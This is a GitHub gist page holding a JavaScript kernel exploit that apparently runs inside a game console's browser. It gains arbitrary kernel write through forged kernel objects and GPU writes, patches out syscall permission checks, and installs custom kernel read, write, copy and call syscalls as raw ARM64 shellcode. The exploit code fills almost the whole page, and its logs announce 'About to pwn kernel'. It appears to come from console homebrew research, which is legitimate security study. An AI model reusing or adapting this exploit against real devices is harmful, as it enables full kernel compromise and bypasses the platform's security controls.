Skip to content

Instantly share code, notes, and snippets.

@SciresM
Last active April 17, 2019 18:23
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save SciresM/71df55aed61043e9cf35819eac6225a1 to your computer and use it in GitHub Desktop.
Save SciresM/71df55aed61043e9cf35819eac6225a1 to your computer and use it in GitHub Desktop.
utils.log('About to pwn kernel...');
var freeEntry = sc.nv.getFirstFreeHandleEntry();
var hnd = 0x6660000 + ((freeEntry & 0xFFF) / 0x10);
sc.nv.kernBuf = utils.add2(sc.nv.nv_base, 0x13F700);
sc.nv.kernBufPhys = sc.nv.physAddr + (utils.sub2(sc.nv.kernBuf, sc.nv.nv_base)[0]);
sc.nv.write8(sc.nv.kernBuf, sc.nv.kernBuf); // VTABLE == Object for simplicity.
sc.nv.write8([0x1, 0x0], utils.add2(sc.nv.kernBuf, 8)); // Refcount == 1
sc.nv.write8([0xBFC30E5C, 0xFFFFFFFF], utils.add2(sc.nv.kernBuf, 0x20)); // vptr == gadget1
var regBuf = utils.add2(sc.nv.kernBuf, 0x80);
sc.nv.write8(regBuf, regBuf); // VTABLE == Object for simplicity
sc.nv.write8([0xBFC0AD78, 0xFFFFFFFF], utils.add2(regBuf, 0x20)); // vptr == fixup
sc.nv.write8([0xBFC0ABD8, 0xFFFFFFFF], utils.add2(regBuf, 0x40)); // vptr == fixup2
sc.nv.write8([0xBFC35668, 0xFFFFFFFF], utils.add2(regBuf, 0x68)); // vptr == return
sc.nv.kernWrite = function(val, addr) {
sc.nv.write8(val, utils.add2(regBuf, 0x300)); // Write val to memory.
sc.nv.gpuWrite(0x01650CCC, freeEntry);
sc.nv.gpuWrite((sc.nv.kernBufPhys & 0x0FFFFFFF), freeEntry + 0x8);
sc.nv.gpuWrite(0xFFFFFFFE, freeEntry + 0xC);
sc.nv.svc(0x16, [hnd, 0, 0, [0xBFC3219C, 0xFFFFFFFF], regBuf, addr, 0, [0xBFC2F524, 0xFFFFFFFF]]);
}
utils.log('Got arbitrary kernel write!');
utils.log('Patching out SVC checks...');
sc.nv.kernWrite([0xD503201F, 0xD503201F], utils.add2([0xA0000, 0xFFFFFFFE], 0x35820));
sc.nv.kernWrite([0xD503201F, 0xD503201F], utils.add2([0xA0000, 0xFFFFFFFE], 0x35648));
utils.log('Installing custom SVCs...');
var customSvcOfs = 0x45E00;
/**
* svc 0x3E: svcKernelWrite(value, address, width);
*
* Arguments: A value to write, a Kernel pointer to write to, and a width for the write (1, 2, 4, or 8).
* Writes width bytes from value to address.
* Returns 0 in X0 for a valid width, 0xCA01 for invalid width.
* No validation is performed on the address pointer argument or on the value argument.
*/
var svcKernWriteShellcode = [[0x7100045F, 0x54000120], [0x7100085F, 0x54000140], [0x7100105F, 0x54000160], [0x7100205F, 0x54000180], [0xD2994020, 0xD65F03C0], [0x39000020, 0xD2800000], [0xD65F03C0, 0x79000020], [0xD2800000, 0xD65F03C0], [0xB9000020, 0xD2800000], [0xD65F03C0, 0xF9000020], [0xD2800000, 0xD65F03C0]];
var svcKernWriteOfs = customSvcOfs;
for (var i = 0; i < svcKernWriteShellcode.length; i++) {
sc.nv.kernWrite(svcKernWriteShellcode[i], utils.add2([0xA0000, 0xFFFFFFFE], customSvcOfs));
customSvcOfs += 0x8;
}
sc.nv.kernWrite(utils.add2([0xBFC00000, 0xFFFFFFFF], svcKernWriteOfs), utils.add2([0xA0000, 0xFFFFFFFE], 0x470D0 + 0x8 * 0x3E));
sc.nv.kernWrite(utils.add2([0xBFC00000, 0xFFFFFFFF], svcKernWriteOfs), utils.add2([0xA0000, 0xFFFFFFFE], 0x474D0 + 0x8 * 0x3E));
sc.nv.kernWrite = function(val, addr, width) {
if (width == undefined) {
width = 8;
}
sc.nv.svc(0x3E, [val, addr, width]); // TODO: Check Error Code
}
/**
* svc 0x3D: svcKernelRead(address, width);
*
* Arguments: A Kernel pointer to read in, and a width for the read (1, 2, 4, or 8).
* Reads width bytes from address, storing the result in X1.
* Returns 0 in X0 for a valid width, 0xCA01 for invalid width.
* No validation is performed on the address pointer argument.
*/
var svcKernReadShellcode = [[0x7100043F, 0x54000120], [0x7100083F, 0x54000140], [0x7100103F, 0x54000160], [0x7100203F, 0x54000180], [0xD2994020, 0xD65F03C0], [0x39400001, 0xD2800000], [0xD65F03C0, 0x79400001], [0xD2800000, 0xD65F03C0], [0xB9400001, 0xD2800000], [0xD65F03C0, 0xF9400001], [0xD2800000, 0xD65F03C0]];
var svcKernReadOfs = customSvcOfs;
for (var i = 0; i < svcKernReadShellcode.length; i++) {
sc.nv.kernWrite(svcKernReadShellcode[i], utils.add2([0xA0000, 0xFFFFFFFE], customSvcOfs));
customSvcOfs += 0x8;
}
/**
* svc 0x3F: svcKernelCopy(dst, src, size);
*
* Arguments: A destination kernel pointer, a source kernel pointer, and a size.
* Performs memcpy(dst, src, size).
* Returns 0 in X0.
* No validation is performed on any arguments.
*/
var svcKernCopyShellcode = [[0xA9BF7BFD, 0xA9BF17E4], [0x580000C4, 0xD63F0080], [0xA8C117E4, 0xA8C17BFD], [0x2A1F03E0, 0xD65F03C0], [0xBFC45260, 0xFFFFFFFF]];
var svcKernCopyOfs = customSvcOfs;
for (var i = 0; i < svcKernCopyShellcode.length; i++) {
sc.nv.kernWrite(svcKernCopyShellcode[i], utils.add2([0xA0000, 0xFFFFFFFE], customSvcOfs));
customSvcOfs += 0x8;
}
/**
* svc 0x6F: svcKernelCall(fptr, register_buffer);
*
* Arguments: A kernel function pointer (!), and a buffer to read and dump registers to.
* Buffer should be size 0x100, with X0 at 0, X1 at 8, etc through X30 at 0xF0.
* Calls the passed function pointer with the relevant arguments, and dumps output registers to the input buffer.
* Returns 0 in X0.
* No validation is performed on any arguments.
*/
var svcKernCallShellcode = [[0xD10403FF, 0xA90007E0], [0xA9010FE2, 0xA90217E4], [0xA9031FE6, 0xA90427E8], [0xA9052FEA, 0xA90637EC], [0xA9073FEE, 0xA90847F0], [0xA9094FF2, 0xA90A57F4], [0xA90B5FF6, 0xA90C67F8], [0xA90D6FFA, 0xA90E77FC], [0xF9007BFE, 0xAA0003F0], [0xAA0103E0, 0xA9410C02], [0xA9421404, 0xA9431C06], [0xA9442408, 0xA9452C0A], [0xA946340C, 0xA9473C0E], [0xF9404411, 0xA9494C12], [0xA94A5414, 0xA94B5C16], [0xA94C6418, 0xA94D6C1A], [0xA94E741C, 0xF940781E], [0xA9400400, 0xD63F0200], [0xF81F8FE0, 0xF9400BE0], [0xA9000400, 0xA9010C02], [0xA9021404, 0xA9031C06], [0xA9042408, 0xA9052C0A], [0xA906340C, 0xA9073C0E], [0xA9084410, 0xA9094C12], [0xA90A5414, 0xA90B5C16], [0xA90C6418, 0xA90D6C1A], [0xA90E741C, 0xF900781E], [0xF84087E1, 0xF9000001], [0xA9410FE2, 0xA94217E4], [0xA9431FE6, 0xA94427E8], [0xA9452FEA, 0xA94637EC], [0xA9473FEE, 0xA94847F0], [0xA9494FF2, 0xA94A57F4], [0xA94B5FF6, 0xA94C67F8], [0xA94D6FFA, 0xA94E77FC], [0xF9407BFE, 0x910403FF], [0xAA1F03E0, 0xD65F03C0]];
var svcKernCallOfs = customSvcOfs;
var svcKernCallId = 0x6F;
for (var i = 0; i < svcKernCallShellcode.length; i++) {
sc.nv.kernWrite(svcKernCallShellcode[i], utils.add2([0xA0000, 0xFFFFFFFE], customSvcOfs));
customSvcOfs += 0x8;
}
sc.nv.kernCall = function(fptr, args, dump_regs) {
if (typeof(fptr) == 'number') {
fptr = utils.add2(fptr, [0xBFC00000, 0xFFFFFFFF]);
}
if (sc.nv.kernLoadBuf === undefined) {
sc.nv.kernLoadBuf = sc.nv.malloc(0x100);
}
switch(arguments.length) {
case 1:
args = [];
case 2:
dump_regs = false;
}
var saddrs = {};
var baseScratchOff = sc.nv.scratchOff;
for (var i = 0; i < args.length; i++) {
if (typeof(args[i]) == 'number') {
args[i] = [args[i], 0];
} else if (ArrayBuffer.isView(args[i]) || args[i] instanceof ArrayBuffer) {
var size = args[i].byteLength;
var saddr = utils.add2(sc.nv.scratch, sc.nv.scratchOff);
sc.nv.memcpyFromBrowser(saddr, sc.getArrayBufferAddr(args[i]), size);
saddrs[i] = saddr;
sc.nv.scratchOff += size;
if(sc.nv.scratchOff & 0x7)
sc.nv.scratchOff = (sc.nv.scratchOff & 0xFFFFFFF8) + 8;
}
}
if(args.length > 0) {
for(var i = 0; i < 30 && i < args.length; i++) {
if(ArrayBuffer.isView(args[i]) || args[i] instanceof ArrayBuffer) {
sc.nv.rw.write(saddrs[i], utils.add2(sc.nv.kernLoadBuf, 8*i));
} else {
sc.nv.rw.write(args[i], utils.add2(sc.nv.kernLoadBuf, 8*i));
}
}
}
var res = sc.nv.svc(0x6F, [fptr, sc.nv.kernLoadBuf]);
// TODO: Error checking.
if(args.length > 0) {
for(var i = 0; i < 30 && i < args.length; i++) {
if(ArrayBuffer.isView(args[i]) || args[i] instanceof ArrayBuffer) {
var size = args[i].byteLength;
sc.nv.memcpyToBrowser(sc.getArrayBufferAddr(args[i]), saddrs[i], size);
}
}
}
sc.nv.scratchOff = baseScratchOff;
return sc.nv.rw.read(sc.nv.kernLoadBuf);
}
sc.nv.kernWrite(utils.add2([0xBFC00000, 0xFFFFFFFF], svcKernReadOfs), utils.add2([0xA0000, 0xFFFFFFFE], 0x470D0 + 0x8 * 0x3D));
sc.nv.kernWrite(utils.add2([0xBFC00000, 0xFFFFFFFF], svcKernCopyOfs), utils.add2([0xA0000, 0xFFFFFFFE], 0x470D0 + 0x8 * 0x3F));
sc.nv.kernWrite(utils.add2([0xBFC00000, 0xFFFFFFFF], svcKernCallOfs), utils.add2([0xA0000, 0xFFFFFFFE], 0x470D0 + 0x8 * 0x6F));
sc.nv.kernWrite(utils.add2([0xBFC00000, 0xFFFFFFFF], svcKernReadOfs), utils.add2([0xA0000, 0xFFFFFFFE], 0x474D0 + 0x8 * 0x3D));
sc.nv.kernWrite(utils.add2([0xBFC00000, 0xFFFFFFFF], svcKernCopyOfs), utils.add2([0xA0000, 0xFFFFFFFE], 0x474D0 + 0x8 * 0x3F));
sc.nv.kernWrite(utils.add2([0xBFC00000, 0xFFFFFFFF], svcKernCallOfs), utils.add2([0xA0000, 0xFFFFFFFE], 0x474D0 + 0x8 * 0x6F));
sc.nv.kernRead = function(addr, width) {
if (width == undefined) {
width = 8;
}
var val = sc.nv.svc(0x3D, [addr, width]);
if (width < 8) { val[1] = 0; }
return val; // TODO: Check Error Code
}
sc.nv.kernCopy = function(dst, src, size) {
return sc.nv.svc(0x3F, [dst, src, size]);
}
utils.log('Installed Read, Write, Copy, and Call SVCs!');
function p2KV(physical) {
return [(physical & 0x0FFFFFFF), 0xFFFFFFFE];
}
var entryPtr = p2KV(freeEntry);
while (true) {
var val = sc.nv.kernRead(entryPtr);
if ((val[0] & 0xFFFF0000) == 0x01650000) { // KProcess
break;
}
entryPtr = utils.sub2(entryPtr, 0x10);
}
var browserKProcess = sc.nv.kernRead(utils.add2(entryPtr, 0x8));
utils.log('Browser KProcess: '+utils.paddr(browserKProcess));
var browserKPageTable = utils.add2(browserKProcess, 0x38 + 0x50);
var kPageTableResolve = [0xBFC387EC, 0xFFFFFFFF];
sc.nv.kernCall(kPageTableResolve, [browserKPageTable, [0x0, 0xFFFFFFFE], sc.mref(0)]);
utils.log('Browser is physically at: '+utils.paddr(sc.nv.kernRead([0, 0xFFFFFFFE])));
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment